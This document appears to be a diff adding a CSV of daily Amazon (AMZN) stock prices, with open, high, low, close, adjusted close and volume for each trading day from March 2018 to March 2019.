+2018-03-06,1533.199951171875,1542.1300048828125,1528.0,1537.6400146484375,1537.6400146484375,4561700,AMZN
+2018-03-07,1526.52001953125,1545.9000244140625,1522.510009765625,1545.0,1545.0,4174100,AMZN
+2018-03-08,1550.0,1554.8800048828125,1545.25,1551.8599853515625,1551.8599853515625,3862600,AMZN
+2018-03-09,1563.5,1578.93994140625,1559.0799560546875,1578.8900146484375,1578.8900146484375,4534300,AMZN
+2018-03-12,1592.5999755859375,1605.3299560546875,1586.699951171875,1598.3900146484375,1598.3900146484375,5174200,AMZN
+2018-03-13,1615.9599609375,1617.5400390625,1578.010009765625,1588.1800537109375,1588.1800537109375,6531900,AMZN
+2018-03-14,1597.0,1606.43994140625,1590.8900146484375,1591.0,1591.0,4259400,AMZN
+2018-03-15,1595.0,1596.9100341796875,1578.1099853515625,1582.3199462890625,1582.3199462890625,4069700,AMZN
+2018-03-16,1583.449951171875,1589.43994140625,1567.5,1571.6800537109375,1571.6800537109375,5425000,AMZN
+2018-03-19,1554.530029296875,1561.6600341796875,1525.3499755859375,1544.9300537109375,1544.9300537109375,6580800,AMZN
+2018-03-20,1550.3399658203125,1587.0,1545.4100341796875,1586.510009765625,1586.510009765625,4581600,AMZN
+2018-03-21,1586.449951171875,1590.0,1563.1700439453125,1581.8599853515625,1581.8599853515625,4750800,AMZN
+2018-03-22,1565.469970703125,1573.8499755859375,1542.4000244140625,1544.9200439453125,1544.9200439453125,6320600,AMZN
+2018-03-23,1539.010009765625,1549.02001953125,1495.3599853515625,1495.56005859375,1495.56005859375,8006000,AMZN
+2018-03-26,1530.0,1556.989990234375,1499.25,1555.8599853515625,1555.8599853515625,5624700,AMZN
+2018-03-27,1572.4000244140625,1575.969970703125,1482.3199462890625,1497.050048828125,1497.050048828125,6999600,AMZN
+2018-03-28,1447.0,1455.9000244140625,1386.1700439453125,1431.4200439453125,1431.4200439453125,13705300,AMZN
+2018-03-29,1406.0,1455.469970703125,1365.199951171875,1447.3399658203125,1447.3399658203125,12581100,AMZN
+2018-04-02,1417.6199951171875,1421.3599853515625,1355.0,1371.989990234375,1371.989990234375,10463600,AMZN
+2018-04-03,1391.3800048828125,1414.0,1355.3299560546875,1392.050048828125,1392.050048828125,10231200,AMZN
+2018-04-04,1358.239990234375,1415.3900146484375,1352.8800048828125,1410.5699462890625,1410.5699462890625,6982300,AMZN
+2018-04-05,1441.989990234375,1459.56005859375,1427.0699462890625,1451.75,1451.75,6413500,AMZN
+2018-04-06,1429.969970703125,1452.5,1400.260009765625,1405.22998046875,1405.22998046875,5882300,AMZN
+2018-04-09,1425.030029296875,1438.47998046875,1402.5699462890625,1406.0799560546875,1406.0799560546875,4208200,AMZN
+2018-04-10,1431.989990234375,1438.3800048828125,1415.699951171875,1436.219970703125,1436.219970703125,4254100,AMZN
+2018-04-11,1439.43994140625,1448.780029296875,1424.8900146484375,1427.050048828125,1427.050048828125,3582500,AMZN
+2018-04-12,1439.5,1452.1199951171875,1435.06005859375,1448.5,1448.5,3135000,AMZN
+2018-04-13,1449.1400146484375,1459.780029296875,1424.52001953125,1430.7900390625,1430.7900390625,3685300,AMZN
+2018-04-16,1445.0,1447.0,1427.47998046875,1441.5,1441.5,2808600,AMZN
+2018-04-17,1462.300048828125,1507.18994140625,1457.02001953125,1503.8299560546875,1503.8299560546875,5114400,AMZN
+2018-04-18,1514.6500244140625,1533.800048828125,1504.1099853515625,1527.8399658203125,1527.8399658203125,5227500,AMZN
+2018-04-19,1543.219970703125,1568.52001953125,1539.06005859375,1556.9100341796875,1556.9100341796875,6523700,AMZN
+2018-04-20,1561.199951171875,1561.199951171875,1516.0899658203125,1527.489990234375,1527.489990234375,5541600,AMZN
+2018-04-23,1546.68994140625,1548.0,1503.4100341796875,1517.8599853515625,1517.8599853515625,4465400,AMZN
+2018-04-24,1535.800048828125,1539.5,1448.449951171875,1460.0899658203125,1460.0899658203125,7494700,AMZN
+2018-04-25,1458.0,1469.989990234375,1415.02001953125,1460.1700439453125,1460.1700439453125,6587300,AMZN
+2018-04-26,1485.010009765625,1529.4200439453125,1478.5,1517.9599609375,1517.9599609375,8801100,AMZN
+2018-04-27,1634.010009765625,1638.0999755859375,1567.3900146484375,1572.6199951171875,1572.6199951171875,13053200,AMZN
+2018-04-30,1582.5,1596.0,1560.93994140625,1566.1300048828125,1566.1300048828125,5464100,AMZN
+2018-05-01,1563.219970703125,1585.0,1552.1800537109375,1582.260009765625,1582.260009765625,4572100,AMZN
+2018-05-02,1580.97998046875,1588.5,1566.3599853515625,1569.6800537109375,1569.6800537109375,4360300,AMZN
+2018-05-03,1560.010009765625,1574.800048828125,1546.02001953125,1572.0799560546875,1572.0799560546875,4251900,AMZN
+2018-05-04,1562.449951171875,1584.9000244140625,1562.18994140625,1580.949951171875,1580.949951171875,3443600,AMZN
+2018-05-07,1589.3399658203125,1606.949951171875,1587.8299560546875,1600.1400146484375,1600.1400146484375,3801900,AMZN
+2018-05-08,1595.0,1596.8800048828125,1582.510009765625,1592.3900146484375,1592.3900146484375,3067900,AMZN
+2018-05-09,1600.0,1608.0,1592.0,1608.0,1608.0,3637300,AMZN
+2018-05-10,1608.47998046875,1615.5999755859375,1603.43994140625,1609.0799560546875,1609.0799560546875,2817500,AMZN
+2018-05-11,1610.989990234375,1611.0999755859375,1597.8900146484375,1602.9100341796875,1602.9100341796875,2263900,AMZN
+2018-05-14,1604.0,1611.1800537109375,1600.050048828125,1601.5400390625,1601.5400390625,2509500,AMZN
+2018-05-15,1587.800048828125,1587.800048828125,1565.219970703125,1576.1199951171875,1576.1199951171875,5077500,AMZN
+2018-05-16,1577.5,1594.4300537109375,1576.6700439453125,1587.280029296875,1587.280029296875,2570600,AMZN
+2018-05-17,1580.56005859375,1594.0400390625,1573.0,1581.760009765625,1581.760009765625,2147600,AMZN
+2018-05-18,1581.3299560546875,1583.5899658203125,1572.0999755859375,1574.3699951171875,1574.3699951171875,2642600,AMZN
+2018-05-21,1585.0,1592.050048828125,1575.0,1585.4599609375,1585.4599609375,2925200,AMZN
+2018-05-22,1589.8900146484375,1589.8900146484375,1575.25,1581.4000244140625,1581.4000244140625,2115600,AMZN
+2018-05-23,1571.050048828125,1601.8599853515625,1566.3399658203125,1601.8599853515625,1601.8599853515625,3361900,AMZN
+2018-05-24,1598.030029296875,1608.239990234375,1588.3800048828125,1603.0699462890625,1603.0699462890625,3430000,AMZN
+2018-05-25,1603.0,1614.1199951171875,1600.449951171875,1610.1500244140625,1610.1500244140625,2698400,AMZN
+2018-05-29,1600.7099609375,1621.7900390625,1600.1500244140625,1612.8699951171875,1612.8699951171875,3846500,AMZN
+2018-05-30,1618.0999755859375,1626.0,1612.9300537109375,1624.8900146484375,1624.8900146484375,2907400,AMZN
+2018-05-31,1623.0,1635.0,1621.3499755859375,1629.6199951171875,1629.6199951171875,3166300,AMZN
+2018-06-01,1637.030029296875,1646.72998046875,1635.0899658203125,1641.5400390625,1641.5400390625,3313400,AMZN
+2018-06-04,1648.9000244140625,1665.6800537109375,1645.489990234375,1665.27001953125,1665.27001953125,3187700,AMZN
+2018-06-05,1672.989990234375,1699.0,1670.06005859375,1696.3499755859375,1696.3499755859375,4782200,AMZN
+2018-06-06,1704.510009765625,1714.5,1686.469970703125,1695.75,1695.75,5473200,AMZN
+2018-06-07,1698.56005859375,1699.9000244140625,1676.1099853515625,1689.300048828125,1689.300048828125,3765700,AMZN
+2018-06-08,1681.1199951171875,1689.43994140625,1673.010009765625,1683.989990234375,1683.989990234375,2955100,AMZN
+2018-06-11,1681.510009765625,1694.239990234375,1680.5899658203125,1689.1199951171875,1689.1199951171875,2335500,AMZN
+2018-06-12,1693.0,1699.510009765625,1691.52001953125,1698.75,1698.75,2259200,AMZN
+2018-06-13,1702.81005859375,1713.75,1700.1199951171875,1704.8599853515625,1704.8599853515625,3327500,AMZN
+2018-06-14,1713.47998046875,1724.800048828125,1708.8699951171875,1723.8599853515625,1723.8599853515625,3174400,AMZN
+2018-06-15,1714.0,1720.8699951171875,1708.52001953125,1715.969970703125,1715.969970703125,4777600,AMZN
+2018-06-18,1706.260009765625,1726.739990234375,1702.56005859375,1723.7900390625,1723.7900390625,3107700,AMZN
+2018-06-19,1709.0400390625,1736.1099853515625,1700.3900146484375,1734.780029296875,1734.780029296875,4290100,AMZN
+2018-06-20,1742.5,1762.9300537109375,1741.3599853515625,1750.0799560546875,1750.0799560546875,4332600,AMZN
+2018-06-21,1760.0,1763.0999755859375,1717.56005859375,1730.219970703125,1730.219970703125,4941100,AMZN
+2018-06-22,1742.6199951171875,1743.0,1711.9000244140625,1715.6700439453125,1715.6700439453125,4075100,AMZN
+2018-06-25,1702.510009765625,1705.0,1646.31005859375,1663.1500244140625,1663.1500244140625,7511200,AMZN
+2018-06-26,1672.3699951171875,1701.5699462890625,1663.3399658203125,1691.0899658203125,1691.0899658203125,4386600,AMZN
+2018-06-27,1708.1099853515625,1711.949951171875,1660.0,1660.510009765625,1660.510009765625,4872200,AMZN
+2018-06-28,1672.5400390625,1705.5,1661.1700439453125,1701.449951171875,1701.449951171875,4529700,AMZN
+2018-06-29,1717.0,1723.4100341796875,1694.3199462890625,1699.800048828125,1699.800048828125,4543500,AMZN
+2018-07-02,1682.699951171875,1713.8900146484375,1678.06005859375,1713.780029296875,1713.780029296875,3185700,AMZN
+2018-07-03,1723.9599609375,1725.0,1692.47998046875,1693.9599609375,1693.9599609375,2177300,AMZN
+2018-07-05,1705.3800048828125,1710.68994140625,1682.1500244140625,1699.72998046875,1699.72998046875,2983100,AMZN
+2018-07-06,1696.0,1715.27001953125,1691.6700439453125,1710.6300048828125,1710.6300048828125,2650300,AMZN
+2018-07-09,1724.050048828125,1739.56005859375,1716.22998046875,1739.02001953125,1739.02001953125,3012000,AMZN
+2018-07-10,1738.530029296875,1750.0,1731.0,1743.0699462890625,1743.0699462890625,3002900,AMZN
+2018-07-11,1737.989990234375,1756.9599609375,1734.0,1755.0,1755.0,3209800,AMZN
+2018-07-12,1764.510009765625,1798.0,1762.1800537109375,1796.6199951171875,1796.6199951171875,4532700,AMZN
+2018-07-13,1803.9300537109375,1815.300048828125,1795.22998046875,1813.030029296875,1813.030029296875,4383200,AMZN
+2018-07-16,1821.949951171875,1841.949951171875,1814.449951171875,1822.489990234375,1822.489990234375,5466200,AMZN
+2018-07-17,1811.56005859375,1851.68994140625,1797.3800048828125,1843.9300537109375,1843.9300537109375,5682900,AMZN
+2018-07-18,1848.0,1858.8800048828125,1831.27001953125,1842.9200439453125,1842.9200439453125,4861900,AMZN
+2018-07-19,1829.4599609375,1841.0,1811.27001953125,1812.969970703125,1812.969970703125,4676900,AMZN
+2018-07-20,1825.010009765625,1834.8399658203125,1810.06005859375,1813.699951171875,1813.699951171875,3884400,AMZN
+2018-07-23,1812.2099609375,1819.0,1769.989990234375,1802.0,1802.0,3888500,AMZN
+2018-07-24,1829.010009765625,1840.0,1809.3800048828125,1829.239990234375,1829.239990234375,4278700,AMZN
+2018-07-25,1829.300048828125,1863.8399658203125,1822.6400146484375,1863.6099853515625,1863.6099853515625,3738200,AMZN
+2018-07-26,1839.0,1844.6800537109375,1804.5,1808.0,1808.0,9924400,AMZN
+2018-07-27,1876.050048828125,1880.050048828125,1806.530029296875,1817.27001953125,1817.27001953125,9681000,AMZN
+2018-07-30,1827.3299560546875,1829.5,1766.02001953125,1779.219970703125,1779.219970703125,6562300,AMZN
+2018-07-31,1786.489990234375,1801.8299560546875,1739.3199462890625,1777.43994140625,1777.43994140625,5738700,AMZN
+2018-08-01,1784.0,1798.43994140625,1776.02001953125,1797.1700439453125,1797.1700439453125,4153100,AMZN
+2018-08-02,1788.77001953125,1836.56005859375,1786.0,1834.3299560546875,1834.3299560546875,4354700,AMZN
+2018-08-03,1837.739990234375,1841.0,1821.5,1823.2900390625,1823.2900390625,3460500,AMZN
+2018-08-06,1825.81005859375,1847.77001953125,1818.9200439453125,1847.75,1847.75,3391800,AMZN
+2018-08-07,1854.530029296875,1869.719970703125,1846.27001953125,1862.47998046875,1862.47998046875,3377500,AMZN
+2018-08-08,1861.0,1891.510009765625,1854.5,1886.52001953125,1886.52001953125,3963000,AMZN
+2018-08-09,1882.0,1914.5699462890625,1877.47998046875,1898.52001953125,1898.52001953125,4860400,AMZN
+2018-08-10,1888.510009765625,1899.5,1878.2099609375,1886.300048828125,1886.300048828125,3639900,AMZN
+2018-08-13,1898.5,1925.0,1893.6700439453125,1896.199951171875,1896.199951171875,5531500,AMZN
+2018-08-14,1919.3900146484375,1921.010009765625,1900.0,1919.6500244140625,1919.6500244140625,3986100,AMZN
+2018-08-15,1909.550048828125,1916.2099609375,1869.7900390625,1882.6199951171875,1882.6199951171875,7700700,AMZN
+2018-08-16,1903.93994140625,1905.0,1883.550048828125,1886.52001953125,1886.52001953125,3957100,AMZN
+2018-08-17,1885.800048828125,1888.0,1855.550048828125,1882.219970703125,1882.219970703125,4104300,AMZN
+2018-08-20,1890.5699462890625,1891.75,1866.06005859375,1876.7099609375,1876.7099609375,2862000,AMZN
+2018-08-21,1880.0,1897.75,1874.4100341796875,1883.4200439453125,1883.4200439453125,3105600,AMZN
+2018-08-22,1876.6400146484375,1905.800048828125,1876.6400146484375,1904.9000244140625,1904.9000244140625,3080500,AMZN
+2018-08-23,1907.1700439453125,1919.5,1900.760009765625,1902.9000244140625,1902.9000244140625,3563000,AMZN
+2018-08-24,1910.510009765625,1916.010009765625,1902.5400390625,1905.3900146484375,1905.3900146484375,2800900,AMZN
+2018-08-27,1915.0,1927.699951171875,1909.280029296875,1927.6800537109375,1927.6800537109375,3569000,AMZN
+2018-08-28,1937.72998046875,1941.780029296875,1928.8199462890625,1932.8199462890625,1932.8199462890625,3100700,AMZN
+2018-08-29,1953.449951171875,1998.68994140625,1948.93994140625,1998.0999755859375,1998.0999755859375,6531800,AMZN
+2018-08-30,1997.4200439453125,2025.5699462890625,1986.9000244140625,2002.3800048828125,2002.3800048828125,7277300,AMZN
+2018-08-31,2007.0,2022.3800048828125,2004.739990234375,2012.7099609375,2012.7099609375,4204400,AMZN
+2018-09-04,2026.5,2050.5,2013.0,2039.510009765625,2039.510009765625,5721100,AMZN
+2018-09-05,2038.1099853515625,2040.3800048828125,1989.8900146484375,1994.8199462890625,1994.8199462890625,8220600,AMZN
+2018-09-06,2006.510009765625,2007.5,1935.2099609375,1958.31005859375,1958.31005859375,7488700,AMZN
+2018-09-07,1938.7099609375,1975.199951171875,1937.3499755859375,1952.0699462890625,1952.0699462890625,4892600,AMZN
+2018-09-10,1971.0,1973.0400390625,1931.52001953125,1939.010009765625,1939.010009765625,4544800,AMZN
+2018-09-11,1928.27001953125,1988.8800048828125,1917.0,1987.1500244140625,1987.1500244140625,5033600,AMZN
+2018-09-12,1994.0,2000.0,1962.43994140625,1990.0,1990.0,4414000,AMZN
+2018-09-13,2000.0,2008.760009765625,1982.030029296875,1989.8699951171875,1989.8699951171875,3621500,AMZN
+2018-09-14,1992.9300537109375,1993.6500244140625,1959.219970703125,1970.18994140625,1970.18994140625,3642000,AMZN
+2018-09-17,1954.72998046875,1956.8199462890625,1887.4100341796875,1908.030029296875,1908.030029296875,7050200,AMZN
+2018-09-18,1918.6500244140625,1958.199951171875,1915.43994140625,1941.050048828125,1941.050048828125,4268700,AMZN
+2018-09-19,1940.5,1940.8299560546875,1904.9000244140625,1926.4200439453125,1926.4200439453125,4056800,AMZN
+2018-09-20,1938.5799560546875,1955.0,1932.25,1944.300048828125,1944.300048828125,3154900,AMZN
+2018-09-21,1954.219970703125,1957.31005859375,1910.5,1915.010009765625,1915.010009765625,6855900,AMZN
+2018-09-24,1903.7900390625,1936.8800048828125,1865.0,1934.3599853515625,1934.3599853515625,4213700,AMZN
+2018-09-25,1942.9000244140625,1975.9100341796875,1938.8499755859375,1974.550048828125,1974.550048828125,4538400,AMZN
+2018-09-26,1968.5,1995.25,1961.52001953125,1974.8499755859375,1974.8499755859375,4313500,AMZN
+2018-09-27,1993.239990234375,2016.1600341796875,1988.5799560546875,2012.97998046875,2012.97998046875,4329400,AMZN
+2018-09-28,2004.4100341796875,2026.52001953125,1996.4599609375,2003.0,2003.0,4085100,AMZN
+2018-10-01,2021.989990234375,2033.18994140625,2003.5999755859375,2004.3599853515625,2004.3599853515625,3460500,AMZN
+2018-10-02,1999.989990234375,2013.3900146484375,1965.77001953125,1971.31005859375,1971.31005859375,5400700,AMZN
+2018-10-03,1981.699951171875,1989.699951171875,1949.81005859375,1952.760009765625,1952.760009765625,5253100,AMZN
+2018-10-04,1949.0,1956.0,1896.5699462890625,1909.4200439453125,1909.4200439453125,7257000,AMZN
+2018-10-05,1917.989990234375,1929.0799560546875,1862.8299560546875,1889.6500244140625,1889.6500244140625,6822300,AMZN
+2018-10-08,1874.0,1902.0,1830.6600341796875,1864.4200439453125,1864.4200439453125,7393200,AMZN
+2018-10-09,1859.989990234375,1896.6800537109375,1852.3199462890625,1870.3199462890625,1870.3199462890625,4772900,AMZN
+2018-10-10,1857.8900146484375,1858.56005859375,1754.4100341796875,1755.25,1755.25,10988900,AMZN
+2018-10-11,1724.0,1755.4000244140625,1685.0999755859375,1719.3599853515625,1719.3599853515625,13935900,AMZN
+2018-10-12,1808.0,1808.949951171875,1742.530029296875,1788.6099853515625,1788.6099853515625,9444600,AMZN
+2018-10-15,1795.0,1795.050048828125,1734.22998046875,1760.949951171875,1760.949951171875,6437200,AMZN
+2018-10-16,1783.5,1823.8800048828125,1761.550048828125,1819.9599609375,1819.9599609375,5859900,AMZN
+2018-10-17,1842.7900390625,1845.0,1807.0,1831.72998046875,1831.72998046875,5295200,AMZN
+2018-10-18,1821.489990234375,1830.1500244140625,1767.8699951171875,1770.719970703125,1770.719970703125,5874000,AMZN
+2018-10-19,1785.1600341796875,1809.0999755859375,1753.0,1764.030029296875,1764.030029296875,5907200,AMZN
+2018-10-22,1784.0,1809.5,1756.0,1789.300048828125,1789.300048828125,4500000,AMZN
+2018-10-23,1742.239990234375,1776.3399658203125,1714.0,1768.699951171875,1768.699951171875,6723900,AMZN
+2018-10-24,1773.699951171875,1777.7099609375,1656.56005859375,1664.199951171875,1664.199951171875,6928400,AMZN
+2018-10-25,1703.3399658203125,1794.81005859375,1692.010009765625,1782.1700439453125,1782.1700439453125,10285700,AMZN
+2018-10-26,1649.5899658203125,1698.4599609375,1603.0,1642.81005859375,1642.81005859375,14963800,AMZN
+2018-10-29,1660.0,1665.739990234375,1495.0,1538.8800048828125,1538.8800048828125,13866100,AMZN
+2018-10-30,1486.1600341796875,1540.989990234375,1476.3599853515625,1530.4200439453125,1530.4200439453125,12460100,AMZN
+2018-10-31,1569.989990234375,1623.9100341796875,1565.0899658203125,1598.010009765625,1598.010009765625,9390200,AMZN
+2018-11-01,1623.530029296875,1670.449951171875,1598.43994140625,1665.530029296875,1665.530029296875,8135500,AMZN
+2018-11-02,1678.5899658203125,1697.43994140625,1651.8299560546875,1665.530029296875,1665.530029296875,6955500,AMZN
+2018-11-05,1657.5699462890625,1658.0899658203125,1596.3599853515625,1627.800048828125,1627.800048828125,5624700,AMZN
+2018-11-06,1618.3499755859375,1665.0,1614.550048828125,1642.81005859375,1642.81005859375,4257400,AMZN
+2018-11-07,1673.0,1759.22998046875,1664.0799560546875,1755.489990234375,1755.489990234375,8192200,AMZN
+2018-11-08,1755.0,1784.0,1725.1099853515625,1754.9100341796875,1754.9100341796875,6534900,AMZN
+2018-11-09,1732.5,1743.9200439453125,1701.8699951171875,1712.4300537109375,1712.4300537109375,5902200,AMZN
+2018-11-12,1698.239990234375,1708.550048828125,1630.010009765625,1636.8499755859375,1636.8499755859375,6806200,AMZN
+2018-11-13,1649.2900390625,1677.06005859375,1613.75,1631.1700439453125,1631.1700439453125,5933300,AMZN
+2018-11-14,1656.3199462890625,1673.0,1597.0699462890625,1599.010009765625,1599.010009765625,6486900,AMZN
+2018-11-15,1581.010009765625,1624.8199462890625,1546.510009765625,1619.43994140625,1619.43994140625,8427300,AMZN
+2018-11-16,1587.5,1614.47998046875,1573.1199951171875,1593.4100341796875,1593.4100341796875,6066100,AMZN
+2018-11-19,1577.010009765625,1581.18994140625,1503.3599853515625,1512.2900390625,1512.2900390625,7790000,AMZN
+2018-11-20,1437.5,1534.75,1420.0,1495.4599609375,1495.4599609375,10878800,AMZN
+2018-11-21,1542.989990234375,1550.0,1515.0,1516.72998046875,1516.72998046875,5716800,AMZN
+2018-11-23,1517.0,1536.199951171875,1501.81005859375,1502.06005859375,1502.06005859375,2707600,AMZN
+2018-11-26,1539.0,1584.81005859375,1524.219970703125,1581.3299560546875,1581.3299560546875,6257700,AMZN
+2018-11-27,1575.989990234375,1597.6500244140625,1558.010009765625,1581.4200439453125,1581.4200439453125,5783200,AMZN
+2018-11-28,1613.9200439453125,1681.449951171875,1601.219970703125,1677.75,1677.75,8458700,AMZN
+2018-11-29,1674.989990234375,1689.989990234375,1652.3299560546875,1673.5699462890625,1673.5699462890625,6613200,AMZN
+2018-11-30,1679.5,1696.0,1666.5,1690.1700439453125,1690.1700439453125,5761800,AMZN
+2018-12-03,1769.4599609375,1778.3399658203125,1730.0,1772.3599853515625,1772.3599853515625,6862300,AMZN
+2018-12-04,1756.0,1770.3399658203125,1665.0,1668.4000244140625,1668.4000244140625,8694500,AMZN
+2018-12-06,1614.8699951171875,1701.050048828125,1609.8499755859375,1699.18994140625,1699.18994140625,8789400,AMZN
+2018-12-07,1705.0699462890625,1718.9300537109375,1625.4599609375,1629.1300048828125,1629.1300048828125,7576100,AMZN
+2018-12-10,1623.8399658203125,1657.989990234375,1590.8699951171875,1641.030029296875,1641.030029296875,7494800,AMZN
+2018-12-11,1678.0,1679.469970703125,1619.5999755859375,1643.239990234375,1643.239990234375,6244700,AMZN
+2018-12-12,1669.0,1704.989990234375,1660.27001953125,1663.5400390625,1663.5400390625,6598000,AMZN
+2018-12-13,1680.0,1692.1199951171875,1641.5,1658.3800048828125,1658.3800048828125,5271300,AMZN
+2018-12-14,1638.0,1642.5699462890625,1585.0,1591.9100341796875,1591.9100341796875,6367200,AMZN
+2018-12-17,1566.0,1576.1300048828125,1505.010009765625,1520.9100341796875,1520.9100341796875,8829800,AMZN
+2018-12-18,1540.0,1567.550048828125,1523.010009765625,1551.47998046875,1551.47998046875,6523000,AMZN
+2018-12-19,1543.050048828125,1584.530029296875,1483.1800537109375,1495.0799560546875,1495.0799560546875,8792200,AMZN
+2018-12-20,1484.0,1509.5,1432.68994140625,1460.8299560546875,1460.8299560546875,9991800,AMZN
+2018-12-21,1464.989990234375,1480.0,1363.9599609375,1377.449951171875,1377.449951171875,13640300,AMZN
+2018-12-24,1346.0,1396.030029296875,1307.0,1343.9599609375,1343.9599609375,7220000,AMZN
+2018-12-26,1368.8900146484375,1473.1600341796875,1363.010009765625,1470.9000244140625,1470.9000244140625,10411800,AMZN
+2018-12-27,1454.199951171875,1469.0,1390.31005859375,1461.6400146484375,1461.6400146484375,9722000,AMZN
+2018-12-28,1473.3499755859375,1513.469970703125,1449.0,1478.02001953125,1478.02001953125,8829000,AMZN
+2018-12-31,1510.800048828125,1520.760009765625,1487.0,1501.969970703125,1501.969970703125,6954500,AMZN
+2019-01-02,1465.199951171875,1553.3599853515625,1460.9300537109375,1539.1300048828125,1539.1300048828125,7983100,AMZN
+2019-01-03,1520.010009765625,1538.0,1497.1099853515625,1500.280029296875,1500.280029296875,6975600,AMZN
+2019-01-04,1530.0,1594.0,1518.31005859375,1575.3900146484375,1575.3900146484375,9182600,AMZN
+2019-01-07,1602.31005859375,1634.56005859375,1589.18994140625,1629.510009765625,1629.510009765625,7993200,AMZN
+2019-01-08,1664.68994140625,1676.6099853515625,1616.6099853515625,1656.5799560546875,1656.5799560546875,8881400,AMZN
+2019-01-09,1652.97998046875,1667.800048828125,1641.4000244140625,1659.4200439453125,1659.4200439453125,6348800,AMZN
+2019-01-10,1641.010009765625,1663.25,1621.6199951171875,1656.219970703125,1656.219970703125,6507700,AMZN
+2019-01-11,1640.550048828125,1660.2900390625,1636.219970703125,1640.56005859375,1640.56005859375,4686200,AMZN
+2019-01-14,1615.0,1648.199951171875,1595.1500244140625,1617.2099609375,1617.2099609375,6005900,AMZN
+2019-01-15,1632.0,1675.1600341796875,1626.010009765625,1674.56005859375,1674.56005859375,5998500,AMZN
+2019-01-16,1684.219970703125,1705.0,1675.8800048828125,1683.780029296875,1683.780029296875,6366900,AMZN
+2019-01-17,1680.0,1700.1700439453125,1677.5,1693.219970703125,1693.219970703125,4208900,AMZN
+2019-01-18,1712.0,1716.199951171875,1691.5400390625,1696.199951171875,1696.199951171875,6020500,AMZN
+2019-01-22,1681.0,1681.8699951171875,1610.199951171875,1632.1700439453125,1632.1700439453125,6416800,AMZN
+2019-01-23,1656.0,1657.4300537109375,1612.0,1640.02001953125,1640.02001953125,5225200,AMZN
+2019-01-24,1641.0699462890625,1657.260009765625,1631.780029296875,1654.9300537109375,1654.9300537109375,4089900,AMZN
+2019-01-25,1670.5,1683.47998046875,1661.6099853515625,1670.5699462890625,1670.5699462890625,4945900,AMZN
+2019-01-28,1643.5899658203125,1645.0,1614.0899658203125,1637.8900146484375,1637.8900146484375,4837700,AMZN
+2019-01-29,1631.27001953125,1632.3800048828125,1590.719970703125,1593.8800048828125,1593.8800048828125,4632800,AMZN
+2019-01-30,1623.0,1676.949951171875,1619.6800537109375,1670.4300537109375,1670.4300537109375,5783800,AMZN
+2019-01-31,1692.8499755859375,1736.4100341796875,1679.0799560546875,1718.72998046875,1718.72998046875,10910300,AMZN
+2019-02-01,1638.8800048828125,1673.06005859375,1622.010009765625,1626.22998046875,1626.22998046875,11506200,AMZN
+2019-02-04,1623.0,1649.6300048828125,1613.5,1633.31005859375,1633.31005859375,4929100,AMZN
+2019-02-05,1643.3399658203125,1665.260009765625,1642.5,1658.81005859375,1658.81005859375,4453100,AMZN
+2019-02-06,1670.75,1672.260009765625,1633.3399658203125,1640.260009765625,1640.260009765625,3939900,AMZN
+2019-02-07,1625.0,1625.5400390625,1592.9100341796875,1614.3699951171875,1614.3699951171875,4626600,AMZN
+2019-02-08,1586.0,1588.5899658203125,1566.760009765625,1588.219970703125,1588.219970703125,5657500,AMZN
+2019-02-11,1600.97998046875,1609.2900390625,1586.0,1591.0,1591.0,3317300,AMZN
+2019-02-12,1604.0,1639.4000244140625,1598.8800048828125,1638.010009765625,1638.010009765625,4858600,AMZN
+2019-02-13,1647.0,1656.3800048828125,1637.1099853515625,1640.0,1640.0,3560300,AMZN
+2019-02-14,1624.5,1637.9000244140625,1606.06005859375,1622.6500244140625,1622.6500244140625,4120500,AMZN
+2019-02-15,1627.8599853515625,1628.9100341796875,1604.5,1607.949951171875,1607.949951171875,4343900,AMZN
+2019-02-19,1601.0,1634.0,1600.56005859375,1627.5799560546875,1627.5799560546875,3681700,AMZN
+2019-02-20,1630.0,1634.9300537109375,1610.1199951171875,1622.0999755859375,1622.0999755859375,3337600,AMZN
+2019-02-21,1619.8499755859375,1623.56005859375,1600.9100341796875,1619.43994140625,1619.43994140625,3483400,AMZN
+2019-02-22,1623.5,1634.93994140625,1621.1700439453125,1631.56005859375,1631.56005859375,3096200,AMZN
+2019-02-25,1641.449951171875,1654.5999755859375,1630.3900146484375,1633.0,1633.0,3184500,AMZN
+2019-02-26,1625.97998046875,1639.989990234375,1616.1300048828125,1636.4000244140625,1636.4000244140625,2665800,AMZN
+2019-02-27,1628.1800537109375,1641.81005859375,1615.0999755859375,1641.0899658203125,1641.0899658203125,3148800,AMZN
+2019-02-28,1635.25,1651.77001953125,1633.8299560546875,1639.8299560546875,1639.8299560546875,3025900,AMZN
+2019-03-01,1655.1300048828125,1674.260009765625,1651.0,1671.72998046875,1671.72998046875,4974900,AMZN
+2019-03-04,1685.0,1709.4300537109375,1674.3599853515625,1696.1700439453125,1696.1700439453125,6167400,AMZN
+2019-03-05,1702.949951171875,1707.800048828125,1689.010009765625,1692.4300537109375,1692.4300537109375,3681500,AMZN
+2019-03-06,1695.969970703125,1697.75,1668.280029296875,1668.949951171875,1668.949951171875,3996000,AMZN
+2019-03-07,1667.3699951171875,1669.75,1620.510009765625,1625.949951171875,1625.949951171875,4957000,AMZN
+2019-03-08,1604.010009765625,1622.719970703125,1586.5699462890625,1620.800048828125,1620.800048828125,4667000,AMZN
+2019-03-11,1626.1199951171875,1672.2900390625,1626.010009765625,1670.6199951171875,1670.6199951171875,3876400,AMZN
+2019-03-12,1669.0,1684.27001953125,1660.97998046875,1673.0999755859375,1673.0999755859375,3614500,AMZN
+2019-03-13,1683.0,1700.0,1679.3499755859375,1690.81005859375,1690.81005859375,3552000,AMZN
+2019-03-14,1691.199951171875,1702.0,1684.3399658203125,1686.219970703125,1686.219970703125,2946600,AMZN
+2019-03-15,1703.0,1718.800048828125,1693.1300048828125,1712.3599853515625,1712.3599853515625,7550900,AMZN
+2019-03-18,1712.699951171875,1750.0,1712.6300048828125,1742.1500244140625,1742.1500244140625,5429100,AMZN
+2019-03-19,1753.510009765625,1784.1600341796875,1753.510009765625,1761.8499755859375,1761.8499755859375,6364200,AMZN
+2019-03-20,1769.93994140625,1799.5,1767.030029296875,1797.27001953125,1797.27001953125,6265600,AMZN
+2019-03-21,1796.260009765625,1823.75,1787.280029296875,1819.260009765625,1819.260009765625,5767800,AMZN
+2019-03-22,1810.1700439453125,1818.97998046875,1763.1099853515625,1764.77001953125,1764.77001953125,6363000,AMZN
+2019-03-25,1757.7900390625,1782.6800537109375,1747.5,1774.260009765625,1774.260009765625,5103800,AMZN
+2019-03-26,1793.0,1805.77001953125,1773.3599853515625,1783.760009765625,1783.760009765625,4865900,AMZN
